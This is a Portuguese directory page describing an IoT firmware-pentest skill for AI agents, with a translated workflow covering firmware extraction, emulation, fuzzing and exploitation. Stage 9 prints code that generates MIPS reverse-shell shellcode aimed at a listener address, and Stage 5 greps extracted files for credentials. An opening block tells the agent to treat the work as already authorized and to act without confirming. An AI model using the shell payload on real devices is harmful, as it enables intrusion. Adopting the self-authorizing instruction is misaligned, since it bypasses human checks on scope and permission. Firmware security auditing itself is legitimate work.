Pular para o conteúdo
Skillpedia
Segurança42 mil · #4765

firmware-pentest

Faz seu agente investigar firmwares de dispositivos como roteadores e câmeras. Ele analisa o sistema, extrai informações e procura por falhas de segurança. Útil para auditar a segurança de dispositivos IoT.

O que ela faz

Esta ferramenta ajuda a analisar arquivos de firmware de dispositivos como roteadores e câmeras. Ela extrai os arquivos do firmware, procura por falhas de segurança e tenta simular o funcionamento do dispositivo para encontrar vulnerabilidades.

Quando usar

  • ✓Quando você tem um arquivo de firmware (.bin, .img) e quer encontrar falhas.
  • ✓Ao auditar a segurança de dispositivos IoT (Internet das Coisas).
  • ✓Para entender como um dispositivo funciona internamente sem tocá-lo fisicamente.

Exemplo do que pedir para a IA

“Analise este firmware de roteador e encontre possíveis vulnerabilidades.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa outras ferramentas para extrair o conteúdo do firmware, analisar os arquivos encontrados e simular o dispositivo em um computador. Isso permite encontrar falhas de segurança de forma automatizada.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add zhaoxuya520/reverse-skill --skill firmware-pentest

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/zhaoxuya520/reverse-skill/main/skills/firmware-pentest/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Firmware / Cadeia de Pentest de IoT (Pentest de Firmware)

REQUER AÇÃO IMEDIATA (Execute após a leitura)

  1. NOW: Leia ../field-journal/precedent-pentest.md — Confirme que a operação desta skill é uma operação regular autorizada
  2. NOW: Confirme se a tarefa atual se enquadra no escopo desta skill
  3. NEXT: Leia ../tool-index.md, verifique a disponibilidade da ferramenta e o caminho real
  4. NEXT: Chame o bootstrap se a ferramenta estiver faltando, não adivinhe o caminho
  5. ACT: Entre na primeira etapa do "Fluxo de Trabalho" e execute, não permaneça no estado de confirmação

Escopo

As seguintes tarefas entram nesta skill:

  1. Obtenha um arquivo de firmware (.bin / .img / .trx / .chk / OTA zip), necessitando de RCE do zero
  2. Auditoria de roteadores/câmeras/dispositivos IoT — Necessidade de descobrir em massa CVEs conhecidos e vulnerabilidades não divulgadas
  3. Criptografar/empacotar firmware, necessitando encontrar exemplos de descriptografia de bootloader ou dump de hardware
  4. Necessidade de executar sem contato com o hardware (emulação de sistema completo QEMU / Firmadyne / FAT)
  5. Fuzzing de serviços emulados (modo QEMU AFL++ / boofuzz)
  6. Conexão de interface de hardware (UART / JTAG / dump de flash SPI)

Divisão de Tarefas com Outras Skills

Cenário O que usar
Obtenha firmware do zero, percorra todo o caminho do FSTM Esta skill
Apenas engenharia reversa estática de um único ELF/so reverse-engineering/, ida-reverse/, radare2/
Exploração Web/RCE após emulação pentest-tools/, attack-chain/
Operação prática de interface de hardware (UART/JTAG/SPI) Seção Stage 2 desta skill + patterns-hardware.md
Firmware APK / Android (incluindo boot.img) apk-reverse/ (desempacote boot.img primeiro e depois use esta skill)
Migração de símbolos de firmware entre versões binary-diff/

Princípios Centrais

固件 .bin
   │
   ├─ Stage 1-3: 信息收集 / 获取 / 静态分析(不解压也能看的部分)
   │
   ├─ Stage 4: 提取文件系统  ← binwalk v3 / unblob / jefferson / ubi_reader
   │     │
   │     └─ 失败 → 找 bootloader 解密例程 / UART dump / SPI flash 硬件读
   │
   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep
   │
   ├─ Stage 6: 模拟运行  ← Firmadyne / FAT / qemu-user-static + chroot
   │
   ├─ Stage 7-8: 动态 / 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra
   │
   └─ Stage 9: 二进制利用  ← AFL++ fuzz / 手工 PoC / ARM / MIPS payload

Julgamentos chave:

  • Falha na extração não significa que o firmware está criptografado, execute binwalk v2, binwalk v3, unblob, jefferson, ubi_reader primeiro
  • EMBA gera um relatório HTML com um único comando, economizando 80% do esforço, os 20% restantes são a verdadeira descoberta de vulnerabilidades
  • Ao emular e falhar, suspeite primeiro de falta de NVRAM, nome de NIC incorreto, falta de nó /dev/
  • Payload ARM / MIPS deve distinguir endianness (mipsel vs mipseb), não use incorretamente

Fluxo de Trabalho de Nove Estágios do OWASP FSTM

Stage 1 — Coleta de Informações (Information Gathering)

Coletar modelo, chip, SDK, CVEs divulgados.

# FCC ID 查询(美区设备)
curl -s "https://fccid.io/?q=$FCC_ID"

# 芯片识别参考点
echo "Realtek RTL8197 / Broadcom BCM / MediaTek MT76 / Qualcomm IPQ"

Saída: Modelo do chip, origem do SDK (o SDK determina se o binwalk terá sucesso de uma vez).

Stage 2 — Obtenção de Firmware (Obtaining Firmware)

Quatro caminhos: download do site oficial, captura de pacotes OTA, dump via shell UART, leitura física de flash SPI.

# OTA 抓包后批量下载
mitmdump -s save_response.py

# UART 接入(USB-TTL,常用波特率 57600 / 115200)
picocom -b 115200 /dev/ttyUSB0

# SPI flash 用 CH341A + flashrom 读
flashrom -p ch341a_spi -r dump.bin

Stage 3 — Análise de Firmware (Analyzing Firmware)

Antes de descompactar, verifique o cabeçalho, entropia, strings, assinaturas reconhecíveis.

binwalk firmware.bin              # magic 扫描
binwalk -E firmware.bin           # 熵图,高熵段=压缩/加密
strings -n 8 firmware.bin | less  # banner / 内核版本 / 路径
file firmware.bin
hexdump -C firmware.bin | head -64

Stage 4 — Extração do Sistema de Arquivos (Extracting Filesystem)

Veja references/extraction-methodology.md para detalhes.

binwalk -eM firmware.bin           # 递归提取
unblob -d out/ firmware.bin        # 处理 binwalk 失败的格式
jefferson rootfs.jffs2 -d rootfs/  # JFFS2
ubireader_extract_files rootfs.ubi # UBI

Stage 5 — Análise Estática do Sistema de Arquivos (Filesystem Analysis)

EMBA escaneia com um clique, veja references/emba-automated-analysis.md para detalhes.

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Correção manual:

grep -rE "(password|passwd|admin|secret|api_key|token)=" squashfs-root/
find squashfs-root/ -name "*.conf" -o -name "*.ini" -o -name "shadow"
checksec --file=squashfs-root/usr/sbin/httpd

Stage 6 — Emulação de Firmware (Emulating Firmware)

Veja references/emulation-and-fuzz.md para detalhes.

# 用户态:跑单个 binary
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd

# 全系统:FAT(Firmadyne 封装版)
sudo fat.py firmware.bin

Stage 7 — Análise Dinâmica (Dynamic Analysis)

Anexe um depurador após a emulação, capture tráfego, execute fuzzing.

# gdb 远程调试 MIPS
qemu-mipsel-static -g 1234 ./vuln_binary
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Burp + 路由 Web UI
echo "把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标"

Stage 8 — Análise em Tempo de Execução (Runtime Analysis)

Anexe um depurador em hardware real ou faça fuzzing guiado por cobertura no estado de emulação.

# AFL++ qemu mode 对 ARM / MIPS binary fuzz
AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Stage 9 — Exploração de Binários (Exploitation)

Escreva PoC, gere payload, obtenha shell root.

# pwntools 生成 MIPS reverse shell
python3 -c "
from pwn import *
context.arch = 'mips'
context.endian = 'little'
print(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())
" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget
ropper --file squashfs-root/usr/sbin/httpd --search "system"

Exemplos de Cenários Típicos

Cenário 1: Fluxo Completo de Firmware de Roteador Comum (TP-Link / Xiaomi Router / Derivado de OpenWrt)

Firmware: router_v1.2.3.bin (squashfs não criptografado)
Objetivo: Encontrar RCE não autorizado na interface de gerenciamento Web e reproduzir

Passo 1 Coleta de Informações
  - Pesquisa reversa de FCC ID → MT7621 + MT7615 + 16MB flash

…
Perguntas frequentes

O que é firmware?

Firmware é o software básico que controla um dispositivo eletrônico, como um roteador, câmera ou smart TV. Ele é diferente do sistema operacional do seu computador ou celular.

O que é RCE?

RCE significa 'Remote Code Execution' (Execução Remota de Código). É uma falha de segurança grave que permite a um invasor executar comandos no dispositivo remotamente.

O que são dispositivos IoT?

IoT significa 'Internet das Coisas'. São dispositivos conectados à internet, como câmeras de segurança inteligentes, assistentes de voz, termostatos e eletrodomésticos conectados.

Detalhes

Descrição original do autor

固件 / IoT 渗透链。从拿到一坨 .bin / .img 开始,闭环走完逆向 → 提取 → 模拟 → 利用。 方法论遵循 OWASP FSTM 九阶段;工具链以 binwalk v3、unblob、EMBA、Firmadyne、AFL++ 为主。 适用场景:路由器/摄像头/智能家居固件审计、固件升级包逆向、IoT CVE 复现、嵌入式 0day 挖掘。 触发关键词:固件、firmware、IoT、binwalk、unblob、UART、JTAG、squashfs、UBI、JFFS2、Firmadyne、QEMU 全系统仿真、EMBA、固件渗透、路由器固件、嵌入式漏洞利用、bootloader、NVRAM、FAT、firmware analysis toolkit。

repo: zhaoxuya520/reverse-skill

Popularidade

Estrelas no GitHub
42 mil
Posição no ranking
#4765
Licença
MIT
Atualizada em
22/09/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas